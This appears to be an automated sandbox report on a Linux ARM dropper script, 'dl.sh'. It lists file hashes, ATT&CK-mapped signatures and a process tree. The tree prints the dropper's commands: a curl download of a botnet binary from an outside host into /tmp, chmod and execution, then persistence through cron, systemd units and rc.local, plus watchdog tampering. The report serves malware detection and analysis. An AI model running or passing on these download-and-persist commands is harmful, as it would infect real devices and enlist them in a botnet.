6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde

Analysis

max time kernel
147s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/08/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 4KB
Sample260817-pnw4jabl21
SHA256 6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde
MD5 75ebf52f719172f9a774b0968ff4c5d5
SHA1 c6b69fc64f27ed9c5998a8c6f107d89dffce4f2f
SHA512 f0da857052b706e3ead6e27a41b3b153f22b239f50c16b8fb23c905a0a2d247ac18ef954a506644459b441b039b0b8330fedbbbe2e50a9a1eb29ace7f0dbf346
SSDEEP 96:EqAChsRrPO2LGWUiRe1ijL9i7vt7Oi/8r0Vi+wjb98dni:ESsN26GWUiRe1ijL9ilX0rqe5uni
TLSH
T18E9155E1FAF19432355E447D62999165B6870633060A380470DDA834BF6E1BDF33A33D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
801	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.m_http	684	dl.sh
/tmp/watchdog.sh	802	dl.sh
/tmp/.m_http	806	watchdog.sh
/tmp/.m_http	853	watchdog.sh
/tmp/.m_http	872	watchdog.sh
/tmp/.m_http	888	watchdog.sh
/tmp/.m_http	905	watchdog.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.m_http
File opened for modification	/dev/misc/watchdog	.m_http

Creates/modifies Cron job 1 TTPs 3 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.wlBBxS	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.v2p3Pa	crontab
File opened for modification	/etc/cron.d/flutter	.m_http

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	.m_http

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/network-dispatch.service	.m_http
File opened for modification	/etc/systemd/system/bot.service	dl.sh

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/network-dispatch	.m_http

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
651	base64

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	docker	686	.m_http
Changes the process name, possibly in an attempt to hide itself	[kthrotld/0]	686	.m_http
Changes the process name, possibly in an attempt to hide itself	systemd	687	.m_http

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/295/cmdline	pgrep
File opened for reading	/proc/76/cmdline	pgrep
File opened for reading	/proc/293/cmdline	pgrep
File opened for reading	/proc/304/status	pgrep
File opened for reading	/proc/208/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/142/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/583/status	pgrep
File opened for reading	/proc/9/fd	.m_http
File opened for reading	/proc/646/cmdline	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/304/cmdline	pgrep
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/208/cmdline	pgrep
File opened for reading	/proc/289/cmdline	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/688/status	pgrep
File opened for reading	/proc/143/status	pgrep
File opened for reading	/proc/644/cmdline	pgrep
File opened for reading	/proc/579/cmdline	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/292/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/325/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/668/status	pgrep
File opened for reading	/proc/690/fd	.m_http
File opened for reading	/proc/10/cmdline	pgrep
File opened for reading	/proc/142/cmdline	pgrep
File opened for reading	/proc/110/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/304/cmdline	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/647/fd	.m_http
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/98/cmdline	pgrep
File opened for reading	/proc/686/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/757/fd	.m_http
File opened for reading	/proc/668/status	pgrep
File opened for reading	/proc/593/status	pgrep
File opened for reading	/proc/325/status	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/686/cmdline	pgrep
File opened for reading	/proc/295/status	pgrep
File opened for reading	/proc/689/cmdline	pgrep
File opened for reading	/proc/304/status	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/42/cmdline	pgrep

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	curl
File opened for modification	/tmp/watchdog.sh	dl.sh

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:647
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:652
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:651
- /bin/uname
  uname -m
  2⤵
  PID:654
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://vps.atlas101.us.kg/flutter.arm7 -o /tmp/.m_http
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:657
- /usr/bin/stat
  stat "-c%s" /tmp/.m_http
  2⤵
  PID:682
- /bin/chmod
  chmod +x /tmp/.m_http
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /bin/sleep
  sleep 2
  2⤵
  PID:685
- /tmp/.m_http
  /tmp/.m_http
  2⤵
  - Modifies Watchdog functionality
  - Creates/modifies Cron job
  - Enumerates active TCP sockets
  - Modifies rc script
  - Modifies systemd
  - Write file to user bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:684
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:691
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:691
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:691
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:691
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:691
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    PID:691
- - /usr/local/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:735
- - /usr/local/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:735
- - /usr/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:735
- - /usr/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:735
- - /sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:735
- - /bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:735
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:731
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:733
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:732
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:738
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:740
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:739
- /bin/cat
  cat
  2⤵
  PID:743
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:748
- /bin/systemctl
  systemctl enable bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:783
- /bin/systemctl
  systemctl start bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:797
- /bin/cat
  cat
  2⤵
  PID:800
- /bin/chmod
  chmod +x /tmp/watchdog.sh
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /bin/rm
  rm -f /tmp/.m_http /tmp/.m_tftp /tmp/.m_ftp
  2⤵
  PID:803
- /tmp/watchdog.sh
  /tmp/watchdog.sh
  2⤵
  - Executes dropped EXE
  PID:802
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:804
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:805
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:806
- - /bin/sleep
    sleep 30
    3⤵
    PID:807
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:851
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:852
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:853
- - /bin/sleep
    sleep 30
    3⤵
    PID:854
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:870
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:871
- - /bin/sleep
    sleep 30
    3⤵
    PID:873
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:872
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:886
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:887
- - /bin/sleep
    sleep 30
    3⤵
    PID:889
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:888
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:903
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:904
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:905
- - /bin/sleep
    sleep 30
    3⤵
    PID:906

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

flutter

Path /etc/cron.d/flutter
Size 28B
SHA256 93ce27f138097c5011cb6667acced7179ce01b1bfdc21e536eef8ab688c8013f
MD5 70d56f66f8a5c74266db6ee8a4c3b534
SHA1 42ae65706eb930d5c5939ad70df5d60eac8aa857
SHA512 3351b78cdb16db958da52c124f15e440f7e586eb59e99268cd9e56d17c512b56f8e6489e15d1451519745126e07170b2deeb2b4ad963af8ed26a9d85ed7d9f8c
MD5 SHA1 SHA512

Submit Download

bot.service

Path /etc/systemd/system/bot.service
Size 157B
SHA256 5dbe891da840439d9b6aaf3fb24768d7feb17b484d9a994d00c4432dbad65664
MD5 14d48323567f0aef3f72adbbd390f008
SHA1 e57d522a2244e197a50f416085095187c04b244d
SHA512 98fd0e95cbc1c5d10bbf3aa894351d012660a08f2c2cbf6c81bc8c898ac2b5b6fd8d2ee53e52df5059ea873ccb6aecdb36a89971e58e4003e746078ad551b4e4
TLSH
T1BBC08C63BA6024A18D0B3AB28FB26B408E2043804BCEA2781BD0181D14E118761219AE
MD5 SHA1 SHA512 TLSH

Submit Download

network-dispatch.service

Path /etc/systemd/system/network-dispatch.service
Size 228B
SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
MD5 93d4d91e631d6cc85d978e996f3316b9
SHA1 9fc4ded5573510502cbb231b2c8d3ab5fc2d5503
SHA512 c0b9d9ac33434e11a8ccebf386492e4baa7206cb61968694e06d4eb911eaee4ffa74e7b106a402bfb8bfd1c3b725fd29f9d59b8fb090b643dbb3f42a3db409fe
TLSH
T149D0A7A2DAB05091CA1618764F977B50894521401D8EA2BD0A952F4546D2245502DA5E
MD5 SHA1 SHA512 TLSH

Submit Download

.m_http

Path /tmp/.m_http
Size 89KB
SHA256 55e725a891d9721565ccbfd92fb66410add55e5566e0490f60dcfd63ba0ea26c
MD5 dd85dfed06a3aa2d2381fcd51cad8169
SHA1 5def5739866b4d4c5cdaae8712b76e29c3d7017c
SHA512 941ce4f63c0368cd7938fdf09841299e05ce3a7c90f3f7c2a83266111fbe01bd9dd394fc02aa8c280f1796671fed0a37d326824e1067619cec920d8fc3c960cd
SSDEEP 1536:jRSSR49ZPIUVfpVzjp2y2BtlBZpSQClAPSnHDpO3iG1xdFThgCa6YY+tp3:TuCARjp/KtrZAQIcSHDiiwrbgRTV
TLSH
T1229312DDCF81C51BC1FC58B50D1D9363801382DE955E665BBBA9ECC61AA3DAE802073A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.sh

Path /tmp/watchdog.sh
Size 173B
SHA256 2e4dafe2c008a006bcb9f674c5eef94124ad5751ef8f00a0a5493d781e851a01
MD5 1bc1dd5fa84c14c24241a73676abaeea
SHA1 def93fbddd84d83f0112b76d1aa41035635cc98b
SHA512 c2920814eae500053da4a9a53838aa7b5c23070e49475db5e5906b8fd6eac000e4c3d5d7b3648f464790cb1b0eab68e718d8796b740801320135dfc3b13e37a8
TLSH
T174C080F1F510CC333E0549B9A5D85014B253D323545F6558308E1C383F493C43161739
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.v2p3Pa

Path /var/spool/cron/crontabs/tmp.v2p3Pa
Size 218B
SHA256 d42a1c8b34a800fccfb41a835b3a11189989deff626a6ea6bcc98098ba54135e
MD5 a6b7be06d2449d0405f0df7f32dd12c1
SHA1 350bcd8bfe5c58525d7670d22b53e31edf22ad46
SHA512 a312fbf330543113a468c8cceaedcc7f4c9648e29939b23497aa3709527a8bdeddaff9290442e4c0cdd0a5eb23752e9289fb1ff7fd720a850edf547129e93e06
TLSH
T10CD0A7693F201C3035040B55751E0229D9429179C00D7E40D0ED1414520A38D7B50A25
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.wlBBxS

Path /var/spool/cron/crontabs/tmp.wlBBxS
Size 214B
SHA256 dcd7279c00a944e7b917700e95ffc9c9769c5683b0342723c36dee4007fee911
MD5 f432baaf9bf39ffc0ab368d0a54596cb
SHA1 e116da636ef2d8f229c067db757dada28a149ad8
SHA512 6fc533ced5070dc9ec6a1f5335e370a97147ca02aae0f5a6d1bc9baa56e818fa4d951709bd956daeb8c7980452c57dedcc223dc612e41df65d088e76808dbbad
TLSH
T118D0235D7F101D3135080F45751E0219DD42953DC04D7E40D0DD743492071CC7750E75
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads